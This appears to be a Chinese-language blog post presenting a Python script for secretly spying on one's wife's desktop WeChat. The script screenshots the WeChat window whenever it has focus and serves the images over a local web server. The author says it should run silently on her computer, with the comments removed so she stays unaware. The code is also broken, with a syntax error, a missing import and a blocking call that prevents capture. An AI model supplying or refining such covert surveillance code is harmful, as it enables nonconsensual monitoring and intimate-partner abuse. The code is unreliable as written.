python实现一个简单的远程监控,看看你老婆微信都在聊啥。
1、pywin32模块检测活动窗口
2、PIL模块截图
3、http.server、socketserver开启一个临时web服务。
4、登录192.168.x.x:8000去查看你老婆微信截图。前面是你老婆的ip地址。
5、本篇所指微信为电脑版微信。
from PIL import ImageGrab
import win32gui
import threading
import http.server
import socketserver
def see_your_wife():
d=0
while 1:
handle = win32gui.GetForegroundWindow()#活动窗口的句柄
title = win32gui.GetWindowText(handle) #活动窗口的标题
if title='微信':#当你老婆在使用微信时(微信窗口获得焦点)时截图,不用微信的时候是没有动作的。
d += 1
rect = win32gui.GetWindowRect(handle) #获得微信窗口的坐标
img = ImageGrab.grab(rect)#截取上述坐标
img.save(f'D:/{d}.jpg',quality=90)#保存截图
time.sleep(4)#截图时间间隔
def duo_xian_cheng():#由于上面的死循环会阻塞,所以必须加一个线程。
t = threading.Thread(target=see_your_wife)
t.setDaemon(True)
t.start()
def get_the_imgs():
#注意,这个函数的作用是把你老婆的电脑里的本py文件(本py文件是放在你老婆电脑里默默运行的)所在目录变成一个web服务器目录。
#所以本py文件写好后应该放在截图保存的目录。
PORT = 8000
Handler = http.server.SimpleHTTPRequestHandler
print(Handler)
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
if __name__ == '__main__':
get_the_imgs()
duo_xian_cheng()
当然,实践的时候最好把注释删掉。。。默认认为你老婆不懂python。^^
ps:写的比较快,如有错漏请自行debug。